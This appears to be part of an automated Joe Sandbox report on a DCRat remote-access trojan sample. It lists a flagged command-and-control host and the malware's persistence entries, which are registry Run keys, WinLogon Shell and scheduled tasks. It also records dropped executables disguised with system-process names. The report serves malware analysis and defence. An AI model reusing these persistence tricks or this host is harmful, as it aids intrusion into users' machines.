https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 0000002E.00000003.1843783322.00000206CB6A3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	RuntimeBroker.exe, 0000002A.00000002.3185380780.0000000013460000.00000004.00000800.00020000.00000000.sdmp, OQYEQC26qN.42.dr, 8b0ZcBszCh.42.dr, ddzOjnZuHw.42.dr, 2DSZZv91SN.42.dr, Dv5Mnas1l7.42.dr, mxjuQYDPGE.42.dr, zios6tYB3Q.42.dr, j3io2vF2wC.42.dr, HOoF8x22o9.42.dr, mLh1P6xIV2.42.dr, 1YQqIT05wB.42.dr, IQyB0HyqJo.42.dr, Hq7oeEoiXb.42.dr, OlxSXimRBt.42.dr, WvCkli3O03.42.dr, YsKVO0C5qb.42.dr, 0a1CxWnOlM.42.dr, PDrEQph3me.42.dr, vFmrbdqxvI.42.dr, eVpAJSGXnM.42.dr	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	DtLRskbviS.42.dr, yqcGr3TmGU.42.dr, m8ZJzXTxZm.42.dr, 7sR6JwgBj2.42.dr, ExC2v4LvZF.42.dr, 4frOErC1oE.42.dr, gsa3w8XvJW.42.dr, LK5SNcTueK.42.dr, bcyCh0YT3n.42.dr, xhYvmCAEBe.42.dr	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	DtLRskbviS.42.dr, yqcGr3TmGU.42.dr, m8ZJzXTxZm.42.dr, 7sR6JwgBj2.42.dr, ExC2v4LvZF.42.dr, 4frOErC1oE.42.dr, gsa3w8XvJW.42.dr, LK5SNcTueK.42.dr, bcyCh0YT3n.42.dr, xhYvmCAEBe.42.dr	false		high
https://www.ecosia.org/newtab/	RuntimeBroker.exe, 0000002A.00000002.3185380780.0000000013460000.00000004.00000800.00020000.00000000.sdmp, OQYEQC26qN.42.dr, 8b0ZcBszCh.42.dr, ddzOjnZuHw.42.dr, 2DSZZv91SN.42.dr, Dv5Mnas1l7.42.dr, mxjuQYDPGE.42.dr, zios6tYB3Q.42.dr, j3io2vF2wC.42.dr, HOoF8x22o9.42.dr, mLh1P6xIV2.42.dr, 1YQqIT05wB.42.dr, IQyB0HyqJo.42.dr, Hq7oeEoiXb.42.dr, OlxSXimRBt.42.dr, WvCkli3O03.42.dr, YsKVO0C5qb.42.dr, 0a1CxWnOlM.42.dr, PDrEQph3me.42.dr, vFmrbdqxvI.42.dr, eVpAJSGXnM.42.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	yBxTcB73xF.42.dr	false		high
https://github.com/Pester/Pester	powershell.exe, 00000019.00000002.1993582633.00000162A8008000.00000004.00000800.00020000.00000000.sdmp	false		high
http://b902470r.beget.tech	RuntimeBroker.exe, 0000002A.00000002.3129151130.000000000314E000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	RuntimeBroker.exe, 0000002A.00000002.3185380780.0000000013460000.00000004.00000800.00020000.00000000.sdmp, OQYEQC26qN.42.dr, 8b0ZcBszCh.42.dr, ddzOjnZuHw.42.dr, 2DSZZv91SN.42.dr, Dv5Mnas1l7.42.dr, mxjuQYDPGE.42.dr, zios6tYB3Q.42.dr, j3io2vF2wC.42.dr, HOoF8x22o9.42.dr, mLh1P6xIV2.42.dr, 1YQqIT05wB.42.dr, IQyB0HyqJo.42.dr, Hq7oeEoiXb.42.dr, OlxSXimRBt.42.dr, WvCkli3O03.42.dr, YsKVO0C5qb.42.dr, 0a1CxWnOlM.42.dr, PDrEQph3me.42.dr, vFmrbdqxvI.42.dr, eVpAJSGXnM.42.dr	false		high
https://g.live.com/odclientsettings/Prod.C:	svchost.exe, 0000002E.00000003.1843783322.00000206CB672000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000002E.00000003.1843783322.00000206CB60E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2	svchost.exe, 0000002E.00000003.1843783322.00000206CB6C2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 0000002E.00000003.1843783322.00000206CB6C2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	DtLRskbviS.42.dr, yqcGr3TmGU.42.dr, m8ZJzXTxZm.42.dr, 7sR6JwgBj2.42.dr, ExC2v4LvZF.42.dr, 4frOErC1oE.42.dr, gsa3w8XvJW.42.dr, LK5SNcTueK.42.dr, bcyCh0YT3n.42.dr, xhYvmCAEBe.42.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	RuntimeBroker.exe, 0000002A.00000002.3185380780.0000000013460000.00000004.00000800.00020000.00000000.sdmp, OQYEQC26qN.42.dr, 8b0ZcBszCh.42.dr, ddzOjnZuHw.42.dr, 2DSZZv91SN.42.dr, Dv5Mnas1l7.42.dr, mxjuQYDPGE.42.dr, zios6tYB3Q.42.dr, j3io2vF2wC.42.dr, HOoF8x22o9.42.dr, mLh1P6xIV2.42.dr, 1YQqIT05wB.42.dr, IQyB0HyqJo.42.dr, Hq7oeEoiXb.42.dr, OlxSXimRBt.42.dr, WvCkli3O03.42.dr, YsKVO0C5qb.42.dr, 0a1CxWnOlM.42.dr, PDrEQph3me.42.dr, vFmrbdqxvI.42.dr, eVpAJSGXnM.42.dr	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000014.00000002.2021120169.000001D05BCA8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.1837271839.0000025780228000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1849224578.000001FC80229000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.1989064271.00000251907A7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1993582633.00000162A8008000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000016.00000002.2720843413.000001FC90072000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000014.00000002.2931907406.000001D06BAF2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.2731586431.0000025790072000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2720843413.000001FC90072000.00000004.00000800.00020000.00000000.sdmp	false		high
http://b902470r.beget.tech/DarkCrystal/	RuntimeBroker.exe, 0000002A.00000002.3129151130.0000000002EAD000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://aka.ms/pscore68	powershell.exe, 00000014.00000002.2021120169.000001D05BA81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.1837271839.0000025780001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1849224578.000001FC80001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.1989064271.0000025190581000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1993582633.00000162A7DE1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org	yBxTcB73xF.42.dr	false		high
http://www.microsoft.c	powershell.exe, 00000019.00000002.2994903097.00000162C0294000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	DtLRskbviS.42.dr, yqcGr3TmGU.42.dr, m8ZJzXTxZm.42.dr, 7sR6JwgBj2.42.dr, ExC2v4LvZF.42.dr, 4frOErC1oE.42.dr, gsa3w8XvJW.42.dr, LK5SNcTueK.42.dr, bcyCh0YT3n.42.dr, xhYvmCAEBe.42.dr	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	decFF62.tmp, 00000001.00000002.1726751178.00000000036C0000.00000004.00000800.00020000.00000000.sdmp, decFF62.tmp, 00000001.00000002.1726751178.0000000003ADD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2021120169.000001D05BA81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.1837271839.0000025780001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1849224578.000001FC80001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.1989064271.0000025190581000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1993582633.00000162A7DE1000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 0000002A.00000002.3129151130.0000000002EAD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	RuntimeBroker.exe, 0000002A.00000002.3185380780.0000000013460000.00000004.00000800.00020000.00000000.sdmp, OQYEQC26qN.42.dr, 8b0ZcBszCh.42.dr, ddzOjnZuHw.42.dr, 2DSZZv91SN.42.dr, Dv5Mnas1l7.42.dr, mxjuQYDPGE.42.dr, zios6tYB3Q.42.dr, j3io2vF2wC.42.dr, HOoF8x22o9.42.dr, mLh1P6xIV2.42.dr, 1YQqIT05wB.42.dr, IQyB0HyqJo.42.dr, Hq7oeEoiXb.42.dr, OlxSXimRBt.42.dr, WvCkli3O03.42.dr, YsKVO0C5qb.42.dr, 0a1CxWnOlM.42.dr, PDrEQph3me.42.dr, vFmrbdqxvI.42.dr, eVpAJSGXnM.42.dr	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 0000002E.00000003.1843783322.00000206CB6C2000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.50.25.59	b902470r.beget.tech	Russian Federation		198610	BEGET-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1552931
Start date and time:	2024-11-09 22:21:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 9s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	54
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	t8xf0Y1ovi.exe renamed because original name is a hash value
Original Sample Name:	38924c8184bf5944da2ac3e5cd987da2.exe
Detection:	MAL
Classification:	mal100.spre.troj.spyw.expl.evad.winEXE@44/386@1/2
EGA Information:	Successful, ratio: 11.8%
HCA Information:	Successful, ratio: 62% Number of executed functions: 421 Number of non-executed functions: 6
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, RuntimeBroker.exe, SIHClient.exe, conhost.exe, schtasks.exe
Excluded IPs from analysis (whitelisted): 2.19.85.159
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, e16604.g.akamaiedge.net, ctldl.windowsupdate.com, prod.fs.microsoft.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target dllhost.exe, PID 4632 because it is empty
Execution Graph export aborted for target dllhost.exe, PID 6524 because it is empty
Execution Graph export aborted for target dllhost.exe, PID 7312 because it is empty
Execution Graph export aborted for target dllhost.exe, PID 7328 because it is empty
Execution Graph export aborted for target kzyTFNNJbez.exe, PID 5696 because it is empty
Execution Graph export aborted for target kzyTFNNJbez.exe, PID 7388 because it is empty
Execution Graph export aborted for target kzyTFNNJbez.exe, PID 7420 because it is empty
Execution Graph export aborted for target powershell.exe, PID 2336 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6220 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7048 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7068 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7120 because it is empty
Execution Graph export aborted for target services.exe, PID 6848 because it is empty
Execution Graph export aborted for target services.exe, PID 7484 because it is empty
Execution Graph export aborted for target services.exe, PID 7520 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Report size getting too big, too many NtReadFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: t8xf0Y1ovi.exe

Simulations

Behavior and APIs

Time	Type	Description
16:22:03	API Interceptor	160x Sleep call for process: powershell.exe modified
16:22:14	API Interceptor	1974401x Sleep call for process: RuntimeBroker.exe modified
16:22:15	API Interceptor	2x Sleep call for process: svchost.exe modified
21:22:02	Task Scheduler	Run new task: dllhost path: "C:\Users\Default\dllhost.exe"
21:22:02	Task Scheduler	Run new task: dllhostd path: "C:\Users\Default\dllhost.exe"
21:22:03	Task Scheduler	Run new task: kzyTFNNJbez path: "C:\Program Files (x86)\google\Update\Install\kzyTFNNJbez.exe"
21:22:03	Task Scheduler	Run new task: kzyTFNNJbezk path: "C:\Program Files (x86)\google\Update\Install\kzyTFNNJbez.exe"
21:22:03	Task Scheduler	Run new task: RuntimeBroker path: "C:\Program Files (x86)\microsoft.net\RuntimeBroker.exe"
21:22:03	Task Scheduler	Run new task: RuntimeBrokerR path: "C:\Program Files (x86)\microsoft.net\RuntimeBroker.exe"
21:22:03	Task Scheduler	Run new task: services path: "C:\Program Files\Windows Portable Devices\services.exe"
21:22:03	Task Scheduler	Run new task: servicess path: "C:\Program Files\Windows Portable Devices\services.exe"
21:22:03	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run RuntimeBroker "C:\Program Files (x86)\microsoft.net\RuntimeBroker.exe"
21:22:11	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run dllhost "C:\Users\Default\dllhost.exe"
21:22:35	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run services "C:\Program Files\Windows Portable Devices\services.exe"
21:22:43	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run kzyTFNNJbez "C:\Program Files (x86)\google\Update\Install\kzyTFNNJbez.exe"
21:22:52	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run RuntimeBroker "C:\Program Files (x86)\microsoft.net\RuntimeBroker.exe"
21:23:00	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run dllhost "C:\Users\Default\dllhost.exe"
21:23:09	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run services "C:\Program Files\Windows Portable Devices\services.exe"
21:23:17	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run kzyTFNNJbez "C:\Program Files (x86)\google\Update\Install\kzyTFNNJbez.exe"
21:23:26	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run RuntimeBroker "C:\Program Files (x86)\microsoft.net\RuntimeBroker.exe"
21:23:34	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run dllhost "C:\Users\Default\dllhost.exe"
21:23:43	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run services "C:\Program Files\Windows Portable Devices\services.exe"
21:23:51	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run kzyTFNNJbez "C:\Program Files (x86)\google\Update\Install\kzyTFNNJbez.exe"
21:24:09	Autostart	Run: WinLogon Shell "C:\Users\Default\Recent\RuntimeBroker.exe"
21:24:17	Autostart	Run: WinLogon Shell "C:\Users\Default\dllhost.exe"
21:24:25	Autostart	Run: WinLogon Shell "C:\Program Files\Windows Portable Devices\services.exe"
21:24:34	Autostart	Run: WinLogon Shell "C:\Program Files (x86)\google\Update\Install\kzyTFNNJbez.exe"
21:24:42	Autostart	Run: WinLogon Shell "C:\Program Files (x86)\microsoft.net\RuntimeBroker.exe"

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.50.25.59	tRXBFi5hrM.exe	Get hash	malicious	Glupteba, Mystic Stealer, Raccoon Stealer v2, RedLine, SmokeLoader, Vidar, Xmrig	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BEGET-ASRU	AYUGPPBj0x.exe	Get hash	malicious	DCRat	Browse	5.101.153.173
	file.exe	Get hash	malicious	Amadey, Xmrig	Browse	87.236.16.19
	file.exe	Get hash	malicious	Xmrig	Browse	87.236.16.19
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	87.236.16.19
	oVN3Ocz6yr.exe	Get hash	malicious	DCRat	Browse	5.101.152.4
	hB5udQ0swC.exe	Get hash	malicious	DCRat	Browse	5.101.152.4
	c5uqDb5MlY.exe	Get hash	malicious	DCRat	Browse	5.101.153.48
	2RM12KtuNp.exe	Get hash	malicious	DCRat	Browse	5.101.153.173
	6TCmDl2rFY.exe	Get hash	malicious	DCRat	Browse	5.101.153.173
	PR. No.1599-Rev.2.exe	Get hash	malicious	Unknown	Browse	45.130.41.127

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\Desktop\AlYgfivS.log	dvc2TBOZTh.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	teh76E2k50.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	FuWRu2Mg82.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	auXl1Tzyme.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	9D7RwuJrth.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	qZoQEFZUnv.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	w49A5FG3yg.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	9XHFe6y4Dj.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	12Vjq7Yv2E.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	7WyBcig6e3.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse

Created / dropped Files

C:\Program Files (x86)\Google\Update\Install\e71b99d0ca9ef6

Download File

Process:	C:\Users\user\AppData\Local\Temp\decFF62.tmp
File Type:	ASCII text, with very long lines (521), with no line terminators
Category:	dropped
Size (bytes):	521
Entropy (8bit):	5.866022355658042
Encrypted:	false
SSDEEP:	12:ItSTB32csoCI12/Ly/mWc+90wZbA+WV8TnkR7:V4412/nWc81TWV8zkR7
MD5:	2F7CD6F60C48FD1A4B1BDEA7E0834D03
SHA1:	09A3E2470AD5C4B839181BF63801DD4F3AB4AD5A
SHA-256:	5CB69263E9FB55A5D9A0AFA34226F0B6435969C883AFC6228A5B1FDE8C1A2BCE
SHA-512:	D6EE3792CCD52AD2B62C1FA83EBF3F38A5C8E3BF72E282871BB81C5F8B66D14E3454CB254AAC3424A8004B304F11C878730E5C95B0061C861747C8980FE399C8
Malicious:	false
Preview:	eAAie3lVgSibtcQ6qXdK1NRiZlfYo331CwyN1VLVcFOzwe1wab0rqyoQtcI2XNqmZrZ7nCEUMHrv9bv5ut7MCMKNHhdZNS7PYlaFE3IXWgfiH2RSqNInPdkMgM0FipH3JcWXAp01kk0gqmGOQKs9KT94AOj2DDyrYlYog3SBWRDpnEg4FlzY6Ht0ccWwG8yhvIHFNbsW2rn3QTQ6rowbNauR2iMDgg4Ycf4f6aqo3dfPe0jILaEcLWUUX0NpPozVxOavZvAR7Iiu4fwC9D2GccMFKjHGNBYOnKcPZxtZaweDyjZ2DLpMvs3UCUkzn3D5tTGuDhmLUdqp7JRkKPDCWMc5QHNEM3vgtiTedpyfid2SCOX3DApXzBjg1Ld6Uh9arK6ZzwHebhd2UK3CtTBMOYqr8xnRL2LBebl2R7ER2K6ShrMqSaMAgxLTdOaCI0TiWcY2jAuvPuTEbYKRk78uqKeqQRYDhBIC1X5ETTHRpauvdH2EDJbL1i2L7rmRmrONlRMDcF8Rz

C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\decFF62.tmp
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1765888
Entropy (8bit):	4.854087157519451
Encrypted:	false
SSDEEP:	24576:F++ksiBq+c3iE0nTAWPl4Eor/MugdeRIL6t+:o+knq+c3K0T7k
MD5:	37D00592110CA3CC53B7F6CA6AB1C82A
SHA1:	86E13C84C33969081FE59D123E3CF81E9B3E5674
SHA-256:	5ACD08CC77F1CEBD2CB95F88B37EDF94B9E72B9B1C965AF7EA2766E9DDC5AFB9
SHA-512:	618EEAEC0AC5390184A3B6195634CB16D3DEF1D2AC8AB3664B3128A4E4776DDA7777E6C2AEDF138A6F8E9B7F6F84FC58C38F89D9178B220443567E0C55E0BBCD
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e.........."...................... ... ....@.. .......................`......a.....@.....................................K.... ..p....................@....................................................... ............... ..H............text........ ...................... ..`.rsrc...p.... ......................@..@.reloc.......@......................@..B........................H.......T...l7..........................................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

C:\Program Files (x86)\Microsoft.NET\9e8d7a4ca61bd9

Download File

Process:	C:\Users\user\AppData\Local\Temp\decFF62.tmp
File Type:	ASCII text, with very long lines (329), with no line terminators
Category:	dropped
Size (bytes):	329
Entropy (8bit):	5.84939708821711
Encrypted:	false
SSDEEP:	6:S4UQMBud92jqBmrzEJfQdeIiT5tFgyHk2KLFpAODt4tW0y+NARWtRTZyhqeKnfmk:S4yud92GBgeIy7Fg4KLFpA4t4YqN0Wzx
MD5:	FE02499C018360899D86810E0F5A6B9C
SHA1:	69409FB2E64E20BF0D490942699ECB949EEC31C2
SHA-256:	43F5389E740C1A97DF0E478F8C856A13FC3390530ADFB6E1618B0D7086371C87
SHA-512:	8AFA740CD95D6251C6B6E8E0B1A0DBEC49482DA7634DA65246F8B6F3E40BA7C27A54879FEB6877E6E3C8312BB1D882EEFDE548602257C1B126D62EDB757E2785
Malicious:	false
Preview:	9Xk7LSfuGlq0p8LhKM4yl7LKVJdnvOee1Sr0nnG3is9Wk9BGD2iBNlsBMalBz181HM8XQU3hFBQ38yjWHWj2qdQQkpoMBEDquHPXAozt8B5MUyCX0O3dSFLn5rxlqqfB7jJ1iLWdg04ohE5vmQWwLkXo5lcS1OCSg4PvpLzp2a7cLgG1vB8ZUszWMe67tDlRxmInzKFbbq4um4dYflgzQm7xE2iKO26yyqpjXdCl5g8oyEtRBhbIgwAKoVi6m5NjuF66P3BCj53uoS89IRJraxRCpf4C4F9ATZ3tIwCIgZjl2QfVWixUvfJ6x3Rt89Hd62aPZP0VP

C:\Program Files (x86)\Microsoft.NET\RuntimeBroker.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\decFF62.tmp
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1765888
Entropy (8bit):	4.854087157519451
Encrypted:	false
SSDEEP:	24576:F++ksiBq+c3iE0nTAWPl4Eor/MugdeRIL6t+:o+knq+c3K0T7k
MD5:	37D00592110CA3CC53B7F6CA6AB1C82A
SHA1:	86E13C84C33969081FE59D123E3CF81E9B3E5674
SHA-256:	5ACD08CC77F1CEBD2CB95F88B37EDF94B9E72B9B1C965AF7EA2766E9DDC5AFB9
SHA-512:	618EEAEC0AC5390184A3B6195634CB16D3DEF1D2AC8AB3664B3128A4E4776DDA7777E6C2AEDF138A6F8E9B7F6F84FC58C38F89D9178B220443567E0C55E0BBCD
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Program Files (x86)\Microsoft.NET\RuntimeBroker.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e.........."...................... ... ....@.. .......................`......a.....@.....................................K.... ..p....................@....................................................... ............... ..H............text........ ...................... ..`.rsrc...p.... ......................@..@.reloc.......@......................@..B........................H.......T...l7..........................................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

C:\Program Files\Windows Portable Devices\c5b4cb5e9653cc

Download File

Process:	C:\Users\user\AppData\Local\Temp\decFF62.tmp
File Type:	ASCII text, with very long lines (769), with no line terminators
Category:	dropped
Size (bytes):	769
Entropy (8bit):	5.886225669851736
Encrypted:	false
SSDEEP:	12:meSNKPodVI/AS9byS0o37h/v/n4pkBFGwcbUzz2VmHju59S5G9u2O:e2odVAuro3pvJfc2xDu5MQQ2O
MD5:	48D22ADE598312C7138C4CB07E494E99
SHA1:	8C1F81E46E9DABA3638220C2E5C0C595D13A4245
SHA-256:	73F233EE04594EA6C02C4072B90853CDEC773B3D5AB2128A49CE3E8300D50C4C
SHA-512:	E469B5B0D34495F582C853CF1B280EF167C8E08BCFB57A6957FA44A9A188934F1F29CE853761FA4D0D88550709F243D68BF076454DE83D2C1C59B9C4EF06A206
Malicious:	false
Preview:	Lfqcgf6vOnp0ePMgtLFoT6VYxHrHXGhcFuHrJnDQoD6SAFQ97BYjt4cPJRpZyyXIFMuuIeWGHyAP9DYr0sKWr8tLS2i18oczqyMxVf1doSb43MPG37iGoAaHdicP6eHcWKjK1lWV0qsYgyRFmb8AGWKpXETwDlgJK9isnFPRlMP8SCkoQWnfgHV9A4wwRjRPJiNhPjbgMqZ4GMWVeofq7BnDnistScAB59yuyCZr4GSzrb3xhbRmElRI4K4r0sOtqY8GYmhcPyv1syWLp4M0LX7UrpzoIs1M1jITcwZ43zXPzaZFxsB5gXhTboZsw3Uh7j9JqCs3fR7V9reRQu0Zq5peBy2yXqIAfzSPbPZu9HaPaMTtJHcCD40B3eH1K4gyJ60KYOzAVFajeaDzeIoPOF7l8RW6IhkEklGdVJV5Scr7eRgdbSWBQRkD9PLH222xeV83UjdVxs6vY9Gru2fzKiyTACeG7OCZj3cISnJ1yBOhUyo9IeX9XCm6hp3REXYjqhMeh8YGtoAJUQ8LXf7d1CCgRglnu1wbmp1xmKcKFQQsCcmQqr3jZ4snepNAWvW11jgoYLiNCxXkwTey4U6C7MCr7OS66bxU3Y1c571fIpglhH0KKZGCyU3ohzqK2lRl9DrYcC26ca3RpaK0XHwgVvfjeM5GRrngY5leZcsIhKjXam8Go0xuzuPOhH3PGvpvxW3uyqa4Zn9LMHI2Nyca33ropX6RjdCveykDsOS7Z3VMuECa9ABSTO14pPEauIV5l

C:\Program Files\Windows Portable Devices\services.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\decFF62.tmp
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1765888
Entropy (8bit):	4.854087157519451
Encrypted:	false
SSDEEP:	24576:F++ksiBq+c3iE0nTAWPl4Eor/MugdeRIL6t+:o+knq+c3K0T7k
MD5:	37D00592110CA3CC53B7F6CA6AB1C82A
SHA1:	86E13C84C33969081FE59D123E3CF81E9B3E5674
SHA-256:	5ACD08CC77F1CEBD2CB95F88B37EDF94B9E72B9B1C965AF7EA2766E9DDC5AFB9
SHA-512:	618EEAEC0AC5390184A3B6195634CB16D3DEF1D2AC8AB3664B3128A4E4776DDA7777E6C2AEDF138A6F8E9B7F6F84FC58C38F89D9178B220443567E0C55E0BBCD
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Program Files\Windows Portable Devices\services.exe, Author: Joe Security
